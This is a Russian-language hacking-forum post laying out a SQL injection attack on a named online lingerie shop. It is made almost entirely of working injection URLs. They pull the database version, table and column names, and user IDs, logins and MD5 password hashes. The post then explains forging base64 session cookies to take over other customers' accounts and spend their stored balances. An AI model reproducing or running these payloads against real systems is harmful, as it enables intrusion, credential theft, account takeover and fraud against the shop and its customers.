ANTICHAT - Показать сообщение отдельно

Магазин эротичного белья Shirley.RU
Сама скуль:

Код:

http://shirley.ru/cat.php?id=3+and+1=0+union+select+1,2/*

Узнаем версию и юзверя:

Код:

http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,user(),version()),2/*

shir@localhost:5.0.33
Узнаем имена таблиц:

Код:

http://shirley.ru/cat.php?id=3+and+1=0+union+select+table_name,2+from+INFORMATION_SCHEMA.tables+limit+16,1/*

Интересные:
shir_balance
shir_cart_orders
shir_cart_orderitems
shir_cart_prod_assort
shir_opt_users
shir_session
shir_users
shir_users_new
Узнаем имена столбцов:

Код:

http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,table_name,column_name),2+from+INFORMATION_SCHEMA.columns+where+table_name=0x736869725F7573657273+limit+0,1/*

Интересное:
uid
uname
pass
email
Выводим uid,uname,pass

Код:

http://shirley.ru/cat.php?id=3+and+1=0+union+select+concat_ws(0x3a,uid,uname,pass),2+from+shir_users+limit+0,1/*

получаем идент:логин:мд5хэш
Регаемся:

Код:

http://shirley.ru/user.php?name=new_user

Заходим в свой акк, смотрим куки (они зашифрованы в base64). Декодируем и получаем идент:логин:md5хэш
дэкодируем и вставляем чужие данные. Обновляем страницу и смотрим, что мы под дргим акком
На многих акках есть баланс, при чем крупненький

благодаря таблице shir_balance можно вывести балан и номер пользователя, а дальше сами думаем

В общем заходим под акком и покупаем себе эротическое белье